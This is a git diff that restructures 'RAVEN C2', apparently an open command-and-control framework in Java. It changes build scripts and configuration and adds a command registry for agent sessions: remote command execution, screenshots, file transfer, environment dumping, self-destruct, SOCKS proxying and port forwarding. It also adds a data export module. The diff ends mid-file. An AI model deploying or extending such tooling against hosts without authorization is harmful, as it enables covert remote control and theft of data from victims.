diff --git a/build.ps1 b/RAVEN-C2/build.ps1 old mode 100644 new mode 100755 similarity index 87% rename from build.ps1 rename to RAVEN-C2/build.ps1 index 20faade..5cb99cc --- a/build.ps1 +++ b/RAVEN-C2/build.ps1 @@ -1,135 +1,144 @@ -#Requires -Version 5.1 - -Set-StrictMode -Version Latest -$ErrorActionPreference = "Stop" - -$TotalSteps = 4 -$Script:CurrentStep = 0 - -function PrintInfo { - param([string]$Message) - $Script:CurrentStep++ - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "INFO" -NoNewline -ForegroundColor Blue - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function PrintWarn { - param([string]$Message) - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "WARN" -NoNewline -ForegroundColor Yellow - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function PrintError { - param([string]$Message) - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "ERROR" -NoNewline -ForegroundColor Red - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function DetectWingetOrChoco { - if (Get-Command winget -ErrorAction SilentlyContinue) { - return "winget" - } elseif (Get-Command choco -ErrorAction SilentlyContinue) { - return "choco" - } else { - return "unknown" - } -} - -function InstallJavaWindows { - param([string]$PackageManager) - switch ($PackageManager) { - "winget" { - winget install --id Microsoft.OpenJDK.17 --accept-source-agreements --accept-package-agreements -e - } - "choco" { - choco install openjdk17 -y - } - default { - PrintError "No supported package manager found (winget/choco). Install OpenJDK manually." - exit 1 - } - } -} - -function InstallMavenWindows { - param([string]$PackageManager) - switch ($PackageManager) { - "winget" { - winget install --id Apache.Maven --accept-source-agreements --accept-package-agreements -e - } - "choco" { - choco install maven -y - } - default { - PrintError "No supported package manager found (winget/choco). Install Maven manually." - exit 1 - } - } -} - -function CheckAndInstallJava { - PrintInfo "Checking OpenJDK Java installation" - $JavaCmd = Get-Command java -ErrorAction SilentlyContinue - if ($JavaCmd) { - $JavaVersion = & java -version 2>&1 | Select-Object -First 1 - PrintWarn "Java already installed: $JavaVersion" - } else { - PrintWarn "Java not found, detecting package manager..." - $PackageManager = DetectWingetOrChoco - PrintWarn "Installing OpenJDK via [$PackageManager]..." - InstallJavaWindows -PackageManager $PackageManager - PrintInfo "Java installed successfully" - } -} - -function CheckAndInstallMaven { - PrintInfo "Checking Maven installation" - $MvnCmd = Get-Command mvn -ErrorAction SilentlyContinue - if ($MvnCmd) { - $MvnVersion = & mvn -version 2>&1 | Select-Object -First 1 - PrintWarn "Maven already installed: $MvnVersion" - } else { - PrintWarn "Maven not found, detecting package manager..." - $PackageManager = DetectWingetOrChoco - PrintWarn "Installing Maven via [$PackageManager]..." - InstallMavenWindows -PackageManager $PackageManager - PrintInfo "Maven installed successfully" - } -} - -function RunBuild { - PrintInfo "Running Maven build" - & mvn clean package -q -X - if ($LASTEXITCODE -ne 0) { - PrintError "Maven build failed" - exit 1 - } - - $ArtifactPath = "target\raven-3.0.0.jar" - if (-not (Test-Path $ArtifactPath)) { - PrintError "Build artifact not found: $ArtifactPath" - exit 1 - } - - Copy-Item -Path $ArtifactPath -Destination "." -Force -} - -function RunApp { - PrintInfo "Launching application" - & java -jar raven-3.0.0.jar -h -} - -function Main { - CheckAndInstallJava - CheckAndInstallMaven - RunBuild - RunApp -} - -Main +#Requires -Version 5.1 + +Set-StrictMode -Version Latest +$ErrorActionPreference = "Stop" + +$TotalSteps = 4 +$Script:CurrentStep = 0 + +function PrintInfo { + param([string]$Message) + $Script:CurrentStep++ + Write-Host "[" -NoNewline -ForegroundColor White + Write-Host "INFO" -NoNewline -ForegroundColor Blue + Write-Host "]" -NoNewline -ForegroundColor White + Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White +} + +function PrintWarn { + param([string]$Message) + Write-Host "[" -NoNewline -ForegroundColor White + Write-Host "WARN" -NoNewline -ForegroundColor Yellow + Write-Host "]" -NoNewline -ForegroundColor White + Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White +} + +function PrintError { + param([string]$Message) + Write-Host "[" -NoNewline -ForegroundColor White + Write-Host "ERROR" -NoNewline -ForegroundColor Red + Write-Host "]" -NoNewline -ForegroundColor White + Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White +} + +function DetectWingetOrChoco { + if (Get-Command winget -ErrorAction SilentlyContinue) { + return "winget" + } elseif (Get-Command choco -ErrorAction SilentlyContinue) { + return "choco" + } else { + return "unknown" + } +} + +function InstallJavaWindows { + param([string]$PackageManager) + switch ($PackageManager) { + "winget" { + winget install --id Microsoft.OpenJDK.17 --accept-source-agreements --accept-package-agreements -e + } + "choco" { + choco install openjdk17 -y + } + default { + PrintError "No supported package manager found (winget/choco). Install OpenJDK manually." + exit 1 + } + } +} + +function InstallMavenWindows { + param([string]$PackageManager) + switch ($PackageManager) { + "winget" { + winget install --id Apache.Maven --accept-source-agreements --accept-package-agreements -e + } + "choco" { + choco install maven -y + } + default { + PrintError "No supported package manager found (winget/choco). Install Maven manually." + exit 1 + } + } +} + +function GetCommandVersion { + param([string]$Command) + $PreviousPreference = $ErrorActionPreference + $ErrorActionPreference = "Continue" + $Output = & $Command 2>&1 | ForEach-Object { "$_" } | Select-Object -First 1 + $ErrorActionPreference = $PreviousPreference + return $Output +} + +function CheckAndInstallJava { + PrintInfo "Checking OpenJDK Java installation" + $JavaCmd = Get-Command java -ErrorAction SilentlyContinue + if ($JavaCmd) { + $JavaVersion = GetCommandVersion -Command "java" + PrintWarn "Java already installed: $JavaVersion" + } else { + PrintWarn "Java not found, detecting package manager..." + $PackageManager = DetectWingetOrChoco + PrintWarn "Installing OpenJDK via [$PackageManager]..." + InstallJavaWindows -PackageManager $PackageManager + PrintInfo "Java installed successfully" + } +} + +function CheckAndInstallMaven { + PrintInfo "Checking Maven installation" + $MvnCmd = Get-Command mvn -ErrorAction SilentlyContinue + if ($MvnCmd) { + $MvnVersion = GetCommandVersion -Command "mvn" + PrintWarn "Maven already installed: $MvnVersion" + } else { + PrintWarn "Maven not found, detecting package manager..." + $PackageManager = DetectWingetOrChoco + PrintWarn "Installing Maven via [$PackageManager]..." + InstallMavenWindows -PackageManager $PackageManager + PrintInfo "Maven installed successfully" + } +} + +function RunBuild { + PrintInfo "Running Maven build" + & mvn clean package -q -X + if ($LASTEXITCODE -ne 0) { + PrintError "Maven build failed" + exit 1 + } + + $ArtifactPath = "target\raven-3.0.0.jar" + if (-not (Test-Path $ArtifactPath)) { + PrintError "Build artifact not found: $ArtifactPath" + exit 1 + } + + Copy-Item -Path $ArtifactPath -Destination "." -Force +} + +function RunApp { + PrintInfo "Launching application" + & java -jar raven-3.0.0.jar -h +} + +function Main { + CheckAndInstallJava + CheckAndInstallMaven + RunBuild + RunApp +} + +Main \ No newline at end of file diff --git a/build.sh b/RAVEN-C2/build.sh similarity index 98% rename from build.sh rename to RAVEN-C2/build.sh index 129fbaf..8b379c7 100755 --- a/build.sh +++ b/RAVEN-C2/build.sh @@ -11,6 +11,8 @@ readonly Reset='\033[0m' TotalSteps=4 CurrentStep=0 +ConfigFile="pom.xml" + PrintInfo() { local Message="$1" CurrentStep=$((CurrentStep + 1)) @@ -127,7 +129,7 @@ CheckAndInstallMaven() { RunBuild() { PrintInfo "Running Maven build" - if ! mvn clean package -q -X; then + if ! mvn clean package -q -X -f $ConfigFile; then PrintError "Maven build failed" exit 1 fi diff --git a/config/app/static/css/style.css b/RAVEN-C2/config/interfaces/app/static/css/style.css similarity index 100% rename from config/app/static/css/style.css rename to RAVEN-C2/config/interfaces/app/static/css/style.css diff --git a/config/app/static/js/script.js b/RAVEN-C2/config/interfaces/app/static/js/script.js similarity index 100% rename from config/app/static/js/script.js rename to RAVEN-C2/config/interfaces/app/static/js/script.js diff --git a/config/app/static/js/sidebar/sidebar.js b/RAVEN-C2/config/interfaces/app/static/js/sidebar/sidebar.js similarity index 100% rename from config/app/static/js/sidebar/sidebar.js rename to RAVEN-C2/config/interfaces/app/static/js/sidebar/sidebar.js diff --git a/config/app/static/js/themes/theme.js b/RAVEN-C2/config/interfaces/app/static/js/themes/theme.js similarity index 100% rename from config/app/static/js/themes/theme.js rename to RAVEN-C2/config/interfaces/app/static/js/themes/theme.js diff --git a/config/app/static/svg/core.svg b/RAVEN-C2/config/interfaces/app/static/svg/core.svg similarity index 100% rename from config/app/static/svg/core.svg rename to RAVEN-C2/config/interfaces/app/static/svg/core.svg diff --git a/config/app/templates/index.html b/RAVEN-C2/config/interfaces/app/templates/index.html similarity index 100% rename from config/app/templates/index.html rename to RAVEN-C2/config/interfaces/app/templates/index.html diff --git a/server.properties b/RAVEN-C2/config/server/server.properties similarity index 88% rename from server.properties rename to RAVEN-C2/config/server/server.properties index b0995e8..bddd0da 100644 --- a/server.properties +++ b/RAVEN-C2/config/server/server.properties @@ -1,4 +1,10 @@ # RAVEN C2 default configurations +# AUTHOR: MatrixTM26 +# RAVEN V1.0 + +# NOTE: +# This tool is currently under development, in some release versions, you may encounter functional errors or logic flaws. + # server general configuration server.host = 0.0.0.0 @@ -17,8 +23,8 @@ server.mode = multi # default web mode configuration web.host = 127.0.0.1 web.port = 5000 -web.template.dir = config/app/templates -web.static.dir = config/app/static +web.template.dir = config/interfaces/app/templates +web.static.dir = config/interfaces/app/static # HTTP/HTTPS beacon port (-1 to disable) web.beacon.port = -1 @@ -75,19 +81,12 @@ agent.buffer.size = 8192 # logging # debug level: INFO | DEBUG | VERBOSE | WARN | ERROR -logging.level = INFO -logging.verbose = true +logging.level = VERBOSE +logging.verbose = false logging.max.entries = 10000 logging.file = logs/raven.log logging.file.enabled = true -# database (teamserver) -# database type : none | postgresql | mongodb -# PostgreSQL : jdbc:postgresql://host:5432/dbname -# MongoDB : mongodb://host:27017 -db.type = sqlite -db.url = jdbc:postgresql://localhost:5432/ravenc2 - # database # database backend: # sqlite = local database (recommended) diff --git a/RAVEN-C2/note.txt b/RAVEN-C2/note.txt new file mode 100644 index 0000000..e69de29 diff --git a/pom.xml b/RAVEN-C2/pom.xml similarity index 94% rename from pom.xml rename to RAVEN-C2/pom.xml index edee417..716a2f0 100644 --- a/pom.xml +++ b/RAVEN-C2/pom.xml @@ -1,23 +1,22 @@ - +xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" +xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 com.raven raven 3.0.0 jar RAVEN C2 Framework - + - 17 - 17 - 17 + 21 + 21 + 21 UTF-8 21.0.1 - + org.openjfx @@ -60,7 +59,6 @@ gson 2.10.1 - org.postgresql postgresql @@ -81,14 +79,12 @@ bcpkix-jdk18on 1.77 - org.xerial sqlite-jdbc 3.45.1.0 - org.slf4j @@ -97,7 +93,7 @@ runtime - + linux-aarch64 @@ -183,7 +179,7 @@ - + @@ -191,8 +187,8 @@ maven-compiler-plugin 3.11.0 - 17 - 17 + 21 + 21 diff --git a/src/main/java/com/raven/Start.java b/RAVEN-C2/src/main/java/com/raven/Start.java similarity index 93% rename from src/main/java/com/raven/Start.java rename to RAVEN-C2/src/main/java/com/raven/Start.java index fae17eb..190f48e 100644 --- a/src/main/java/com/raven/Start.java +++ b/RAVEN-C2/src/main/java/com/raven/Start.java @@ -1,21 +1,26 @@ package com.raven; -import com.raven.core.crypto.CertificateManager; -import com.raven.core.db.TeamDatabase; -import com.raven.core.db.TeamDatabase.OperatorRole; +import com.raven.core.cryptography.CertificateManager; +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; import com.raven.core.output.Logger; import com.raven.core.server.ListenerMode; +import com.raven.interfaces.APP.WebApp; import com.raven.interfaces.CLI.CLI; import com.raven.interfaces.GUI.GUI; -import com.raven.interfaces.APP.WebApp; import com.raven.interfaces.TeamServer; import com.raven.interfaces.banner.TBanner; import com.raven.utils.Helper; import com.raven.utils.ServerConfig; import com.raven.utils.SystemHelper; -import java.io.*; -import java.nio.file.*; -import java.util.*; +import java.io.IOException; +import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.List; public final class Start { @@ -35,30 +40,30 @@ private static void ProcessArgs(List Args) { if (Args.contains("-i") || Args.contains("-init-certs")) { ShowBanner(); - InitCertificates(Helper.Arg(Args, "-s", "-server", Config.GetServerHost())); + InitCertificates(Helper.Arg(Args, "-s", "-server-host", Config.GetServerHost())); return; } - String GenAgent = Helper.Arg(Args, "-a", "-agent", null); + String GenAgent = Helper.Arg(Args, "-a", "-generate-agent", null); if (GenAgent != null) { ShowBanner(); GenerateAgent(GenAgent, Args); return; } - if (Args.contains("-m") || Args.contains("-gen-multi")) { + if (Args.contains("-m") || Args.contains("-generate-multi-agent")) { ShowBanner(); GenerateMultiAgent(Args); return; } - if (Args.contains("-l") || Args.contains("-list")) { + if (Args.contains("-l") || Args.contains("-list-agent")) { ShowBanner(); ListAgents(); return; } - String Revoke = Helper.Arg(Args, "-r", "-revoke", null); + String Revoke = Helper.Arg(Args, "-r", "-revoke-agent", null); if (Revoke != null) { ShowBanner(); RevokeAgent(Revoke); @@ -83,7 +88,7 @@ private static void ProcessArgs(List Args) { ShowBanner(); - String Host = Helper.Arg(Args, "-s", "-host", Config.GetServerHost()); + String Host = Helper.Arg(Args, "-s", "-server-host", Config.GetServerHost()); int Port = Helper.ParseInt(Helper.Arg(Args, "-p", "-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort()); ListenerMode Mode = ResolveMode(Args); @@ -136,7 +141,7 @@ private static void StartInterface(String Host, int Port, ListenerMode Mode, Str } case "teamserver-cli" -> new CLI(Config).RunTeamServer(Host, Port, Mode); case "gui" -> GUI.Launch(Config); - case "teamserver-gui" -> GUI.LaunchTeamServer(Config); + case "teamserver-gui" -> GUI.LaunchTeam(Config); case "teamserver-web" -> { int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "-teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort()); new TeamServer(Config, Mode).Run(Config.GetWebHost(), TsPort); diff --git a/RAVEN-C2/src/main/java/com/raven/core/command/CommandRegistry.java b/RAVEN-C2/src/main/java/com/raven/core/command/CommandRegistry.java new file mode 100644 index 0000000..40c4b9e --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/core/command/CommandRegistry.java @@ -0,0 +1,139 @@ +package com.raven.core.command; + +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +public final class CommandRegistry { + + public enum Category { + SYSTEM, + SERVER, + SESSION, + RECON, + FILESYSTEM, + TASK, + LATERAL, + OPERATOR, + CHAT, + EXPORT, + WEB + } + + public record CommandDef(String Name, String Usage, String Description, Category Cat, boolean RequireTeamMode) {} + + private static final Map REGISTRY = new LinkedHashMap<>(); + + static { + // SYSTEM + reg("help", "help", "Show this command reference", Category.SYSTEM, false); + reg("clear", "clear", "Clear the terminal screen", Category.SYSTEM, false); + reg("exit", "exit", "Shutdown and exit", Category.SYSTEM, false); + reg("quit", "quit", "Alias for exit", Category.SYSTEM, false); + + // SERVER + reg("status", "status", "Show server and database status", Category.SERVER, false); + reg("logs", "logs", "Show recent server event logs", Category.SERVER, false); + + // SESSION + reg("sessions", "sessions", "List all active agent sessions", Category.SESSION, false); + reg("agents", "agents", "Alias for sessions", Category.SESSION, false); + reg("stats", "stats", "Show session statistics", Category.SESSION, false); + reg("use", "use ", "Enter interactive shell with agent", Category.SESSION, false); + reg("sysinfo", "sysinfo ", "Show full system info for agent", Category.SESSION, false); + reg("info", "info ", "Alias for sysinfo", Category.SESSION, false); + reg("exec", "exec ", "Execute arbitrary command on agent", Category.SESSION, false); + reg("shell", "shell ", "Execute via shell interpreter (sh/cmd)", Category.SESSION, false); + reg("broadcast", "broadcast ", "Broadcast command to selected agents", Category.SESSION, false); + reg("kill", "kill ", "Terminate an agent session", Category.SESSION, false); + reg("ping", "ping ", "Ping agent to check liveness", Category.SESSION, false); + reg("reconnect", "reconnect ", "Force agent to reconnect", Category.SESSION, false); + reg("self-destruct", "self-destruct ", "Wipe and terminate agent (ADMIN+)", Category.SESSION, false); + reg("sleep", "sleep ", "Set agent check-in interval", Category.SESSION, false); + + // RECON + reg("whoami", "whoami ", "Run whoami on agent", Category.RECON, false); + reg("ps", "ps ", "List running processes on agent", Category.RECON, false); + reg("env", "env ", "Dump environment variables on agent", Category.RECON, false); + reg("ifconfig", "ifconfig ", "Show network interfaces on agent", Category.RECON, false); + reg("ipconfig", "ipconfig ", "Alias for ifconfig (Windows)", Category.RECON, false); + reg("netstat", "netstat ", "Show network connections on agent", Category.RECON, false); + reg("screenshot", "screenshot ", "Capture screenshot from agent desktop", Category.RECON, false); + + // FILESYSTEM + reg("ls", "ls [path]", "List directory contents on agent", Category.FILESYSTEM, false); + reg("pwd", "pwd ", "Print working directory on agent", Category.FILESYSTEM, false); + reg("cat", "cat ", "Read file contents from agent", Category.FILESYSTEM, false); + reg("rm", "rm ", "Delete file or directory on agent", Category.FILESYSTEM, false); + reg("mkdir", "mkdir ", "Create directory on agent", Category.FILESYSTEM, false); + reg("download", "download ", "Download file from agent to operator", Category.FILESYSTEM, false); + reg("upload", "upload [remote-path]", "Upload file from operator to agent", Category.FILESYSTEM, false); + + // TASK + reg("tasks", "tasks", "Show pending task queue", Category.TASK, false); + reg("history", "history [id] [limit]", "Show command history (all or per agent)", Category.TASK, false); + reg("sesshistory", "sesshistory [limit]", "Show session connection history", Category.TASK, false); + reg("sessions-history", "sessions-history [limit]", "Alias for sesshistory", Category.TASK, false); + reg("note", "note ", "Set a note for an agent", Category.TASK, false); + reg("getnote", "getnote ", "Get the note for an agent", Category.TASK, false); + reg("pivot", "pivot ", "Register a pivot route through agent", Category.TASK, false); + + // LATERAL + reg("portfwd", "portfwd ", "Forward local port through agent", Category.LATERAL, false); + reg("socks", "socks ", "Start SOCKS5 proxy through agent", Category.LATERAL, false); + + // OPERATOR + reg("listopt", "listopt", "List all operators and their roles", Category.OPERATOR, false); + reg("listoperators", "listoperators", "Alias for listopt", Category.OPERATOR, false); + reg("addopt", "addopt [SUPER|ADMIN|OPERATOR|MEMBER]", "Add a new operator account", Category.OPERATOR, false); + reg("addoperator", "addoperator [role]", "Alias for addopt", Category.OPERATOR, false); + reg("delopt", "delopt ", "Delete an operator account", Category.OPERATOR, false); + reg("deleteoperator", "deleteoperator ", "Alias for delopt", Category.OPERATOR, false); + reg("kick", "kick ", "Kick and remove operator (SUPER only)", Category.OPERATOR, false); + reg("kickopt", "kickopt ", "Alias for kick", Category.OPERATOR, false); + reg("setrole", "setrole ", "Change operator role", Category.OPERATOR, false); + reg("changerole", "changerole ", "Alias for setrole", Category.OPERATOR, false); + reg("passwd", "passwd ", "Change operator password", Category.OPERATOR, false); + reg("changepassword", "changepassword ", "Alias for passwd", Category.OPERATOR, false); + + // CHAT + reg("chat", "chat", "Show in-memory chat messages", Category.CHAT, false); + reg("chathistory", "chathistory [limit]", "Show chat history from database", Category.CHAT, false); + reg("chatlog", "chatlog [limit]", "Alias for chathistory", Category.CHAT, false); + reg("ch", "ch ", "Send direct message to operator", Category.CHAT, true); + reg("gc", "gc ", "Send group or broadcast chat message", Category.CHAT, true); + + // EXPORT + reg("export", "export ", "Export data to file | targets: all, logs, chat, history, sessions, operators, notes | formats: txt, json", Category.EXPORT, false); + + // WEB + reg("webstart", "webstart [host] [port]", "Start the web panel server", Category.WEB, false); + reg("webstop", "webstop", "Stop the web panel server", Category.WEB, false); + reg("webstatus", "webstatus", "Show web panel status", Category.WEB, false); + } + + private static void reg(String Name, String Usage, String Desc, Category Cat, boolean TeamOnly) { + REGISTRY.put(Name, new CommandDef(Name, Usage, Desc, Cat, TeamOnly)); + } + + public static CommandDef Get(String Name) { + return REGISTRY.get(Name.toLowerCase()); + } + + public static boolean Has(String Name) { + return REGISTRY.containsKey(Name.toLowerCase()); + } + + public static Map All() { + return Collections.unmodifiableMap(REGISTRY); + } + + public static List ByCategory(Category Cat) { + return REGISTRY.values() + .stream() + .filter(C -> C.Cat() == Cat) + .collect(Collectors.toList()); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/core/command/ExportCommand.java b/RAVEN-C2/src/main/java/com/raven/core/command/ExportCommand.java new file mode 100644 index 0000000..2ef507e --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/core/command/ExportCommand.java @@ -0,0 +1,195 @@ +package com.raven.core.command; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.EventLog; +import com.raven.core.output.Logger; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class ExportCommand { + + private static final DateTimeFormatter FileFmt = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss"); + private static final DateTimeFormatter LogFmt = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + private static final Gson GSON = new GsonBuilder().setPrettyPrinting().create(); + private static final Path OUT_DIR = Paths.get("exports"); + + public enum Target { + ALL, + LOGS, + CHAT, + HISTORY, + SESSIONS, + OPERATORS, + NOTES; + + public static Target From(String S) { + return switch (S.trim().toLowerCase()) { + case "all" -> ALL; + case "logs" -> LOGS; + case "chat" -> CHAT; + case "history" -> HISTORY; + case "sessions" -> SESSIONS; + case "operators" -> OPERATORS; + case "notes" -> NOTES; + default -> null; + }; + } + } + + public enum Format { + TXT, + JSON; + + public static Format From(String S) { + return switch (S.trim().toLowerCase()) { + case "json" -> JSON; + case "txt" -> TXT; + default -> null; + }; + } + } + + private final TeamDatabase Db; + private final EventLog Log; + + public ExportCommand(TeamDatabase Db, EventLog Log) { + this.Db = Db; + this.Log = Log; + } + + public void Run(String TargetStr, String FormatStr) { + Target T = Target.From(TargetStr); + Format F = Format.From(FormatStr); + + if (T == null) { + Logger.Warn("unknown export target: " + TargetStr + " (all, logs, chat, history, sessions, operators, notes)"); + return; + } + if (F == null) { + Logger.Warn("unknown format: " + FormatStr + " (txt, json)"); + return; + } + + try { + Files.createDirectories(OUT_DIR); + } catch (IOException Ex) { + Logger.Error("cannot create exports dir: " + Ex.getMessage()); + return; + } + + switch (T) { + case ALL -> ExportAll(F); + case LOGS -> Write("logs", F, CollectLogs()); + case CHAT -> Write("chat", F, CollectChat()); + case HISTORY -> Write("history", F, CollectHistory()); + case SESSIONS -> Write("sessions", F, CollectSessions()); + case OPERATORS -> Write("operators", F, CollectOperators()); + case NOTES -> Write("notes", F, CollectNotes()); + } + } + + private void ExportAll(Format F) { + Map Bundle = new LinkedHashMap<>(); + Bundle.put("exported_at", LocalDateTime.now().format(LogFmt)); + Bundle.put("logs", CollectLogs()); + Bundle.put("chat", CollectChat()); + Bundle.put("history", CollectHistory()); + Bundle.put("sessions", CollectSessions()); + Bundle.put("operators", CollectOperators()); + Bundle.put("notes", CollectNotes()); + + if (F == Format.JSON) { + WriteRaw("export_all", "json", GSON.toJson(Bundle)); + } else { + StringBuilder Sb = new StringBuilder(); + Sb.append("RAVEN FULL EXPORT — ").append(LocalDateTime.now().format(LogFmt)).append("\n\n"); + AppendSection(Sb, "SERVER LOGS", CollectLogs()); + AppendSection(Sb, "CHAT HISTORY", CollectChat()); + AppendSection(Sb, "COMMAND HISTORY", CollectHistory()); + AppendSection(Sb, "SESSION HISTORY", CollectSessions()); + AppendSection(Sb, "OPERATORS", CollectOperators()); + AppendSection(Sb, "AGENT NOTES", CollectNotes()); + WriteRaw("export_all", "txt", Sb.toString()); + } + } + + private void Write(String Name, Format F, List> Data) { + if (F == Format.JSON) { + WriteRaw(Name, "json", GSON.toJson(Data)); + } else { + StringBuilder Sb = new StringBuilder(); + Sb.append(Name.toUpperCase()).append(" — ").append(LocalDateTime.now().format(LogFmt)).append("\n\n"); + for (Map Row : Data) { + for (Map.Entry E : Row.entrySet()) Sb.append(E.getKey()).append(": ").append(E.getValue()).append("\n"); + Sb.append("---\n"); + } + WriteRaw(Name, "txt", Sb.toString()); + } + } + + private void WriteRaw(String Name, String Ext, String Content) { + String Filename = Name + "_" + LocalDateTime.now().format(FileFmt) + "." + Ext; + Path File = OUT_DIR.resolve(Filename); + try { + Files.writeString(File, Content); + Logger.Info("exported → " + File.toAbsolutePath()); + } catch (IOException Ex) { + Logger.Error("export failed: " + Ex.getMessage()); + } + } + + private void AppendSection(StringBuilder Sb, String Title, List> Rows) { + Sb.append("══════════════════════════════════════\n"); + Sb.append(Title).append("\n"); + Sb.append("══════════════════════════════════════\n"); + if (Rows.isEmpty()) { + Sb.append(" (no data)\n\n"); + return; + } + for (Map Row : Rows) { + for (Map.Entry E : Row.entrySet()) Sb.append(" ").append(E.getKey()).append(": ").append(E.getValue()).append("\n"); + Sb.append("---\n"); + } + Sb.append("\n"); + } + + private List> CollectLogs() { + List> Result = new ArrayList<>(); + for (String Entry : Log.GetAll()) { + Map Row = new LinkedHashMap<>(); + Row.put("entry", Entry); + Result.add(Row); + } + return Result; + } + + private List> CollectChat() { + return Db.GetChatLogs(5000); + } + + private List> CollectHistory() { + return Db.GetCommandHistory(0, 5000); + } + + private List> CollectSessions() { + return Db.GetSessionHistory(5000); + } + + private List> CollectOperators() { + return Db.GetOperators(); + } + + private List> CollectNotes() { + return Db.GetAllAgentNotes(); + } +} diff --git a/src/main/java/com/raven/core/crypto/CertificateManager.java b/RAVEN-C2/src/main/java/com/raven/core/cryptography/CertificateManager.java similarity index 99% rename from src/main/java/com/raven/core/crypto/CertificateManager.java rename to RAVEN-C2/src/main/java/com/raven/core/cryptography/CertificateManager.java index 942c29e..1072459 100644 --- a/src/main/java/com/raven/core/crypto/CertificateManager.java +++ b/RAVEN-C2/src/main/java/com/raven/core/cryptography/CertificateManager.java @@ -1,4 +1,4 @@ -package com.raven.core.crypto; +package com.raven.core.cryptography; import com.raven.core.output.Logger; import com.raven.utils.ServerConfig; diff --git a/src/main/java/com/raven/core/crypto/KeystoreLoader.java b/RAVEN-C2/src/main/java/com/raven/core/cryptography/KeystoreLoader.java similarity index 99% rename from src/main/java/com/raven/core/crypto/KeystoreLoader.java rename to RAVEN-C2/src/main/java/com/raven/core/cryptography/KeystoreLoader.java index e8c140e..704eb1a 100644 --- a/src/main/java/com/raven/core/crypto/KeystoreLoader.java +++ b/RAVEN-C2/src/main/java/com/raven/core/cryptography/KeystoreLoader.java @@ -1,4 +1,4 @@ -package com.raven.core.crypto; +package com.raven.core.cryptography; import com.raven.core.output.Logger; import java.io.*; diff --git a/src/main/java/com/raven/core/crypto/SymmetricCrypto.java b/RAVEN-C2/src/main/java/com/raven/core/cryptography/SymmetricCryptography.java similarity index 96% rename from src/main/java/com/raven/core/crypto/SymmetricCrypto.java rename to RAVEN-C2/src/main/java/com/raven/core/cryptography/SymmetricCryptography.java index f09c7cd..f20d60c 100644 --- a/src/main/java/com/raven/core/crypto/SymmetricCrypto.java +++ b/RAVEN-C2/src/main/java/com/raven/core/cryptography/SymmetricCryptography.java @@ -1,4 +1,4 @@ -package com.raven.core.crypto; +package com.raven.core.cryptography; import java.security.SecureRandom; import java.util.Base64; @@ -8,7 +8,7 @@ import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; -public class SymmetricCrypto { +public class SymmetricCryptography { private static final String Algorithm = "AES"; private static final String Transformation = "AES/GCM/NoPadding"; @@ -19,7 +19,7 @@ public class SymmetricCrypto { private SecretKey Key; private byte[] RawKey; - public SymmetricCrypto() {} + public SymmetricCryptography() {} public byte[] GenerateKey() throws Exception { KeyGenerator Kg = KeyGenerator.getInstance(Algorithm); diff --git a/src/main/java/com/raven/core/db/MemoryDatabase.java b/RAVEN-C2/src/main/java/com/raven/core/database/MemoryDatabase.java similarity index 50% rename from src/main/java/com/raven/core/db/MemoryDatabase.java rename to RAVEN-C2/src/main/java/com/raven/core/database/MemoryDatabase.java index 458244c..694396f 100644 --- a/src/main/java/com/raven/core/db/MemoryDatabase.java +++ b/RAVEN-C2/src/main/java/com/raven/core/database/MemoryDatabase.java @@ -1,4 +1,4 @@ -package com.raven.core.db; +package com.raven.core.database; import com.raven.utils.ServerConfig; import java.time.LocalDateTime; @@ -10,7 +10,7 @@ public final class MemoryDatabase extends TeamDatabase { - private static final DateTimeFormatter Fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + private static final DateTimeFormatter TimestampFormat = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); private static final int MaxEntries = 5000; private final List LogEntries = new CopyOnWriteArrayList<>(); @@ -18,19 +18,19 @@ public final class MemoryDatabase extends TeamDatabase { private final List> SessionEvents = new CopyOnWriteArrayList<>(); private final ConcurrentHashMap AgentNotes = new ConcurrentHashMap<>(); private final ConcurrentHashMap> Operators = new ConcurrentHashMap<>(); - private final ConcurrentHashMap LastSeenMap = new ConcurrentHashMap<>(); + private final ConcurrentHashMap LastSeenTable = new ConcurrentHashMap<>(); private final List> ChatLogs = new CopyOnWriteArrayList<>(); - public MemoryDatabase(ServerConfig Config) { - String AdminUser = Config != null ? Config.GetAdminUsername() : "admin"; - String AdminPass = Config != null ? Config.GetAdminPassword() : "admin"; - String AdminRole = Config != null ? Config.GetAdminRole() : "SUPER"; - Map Admin = new 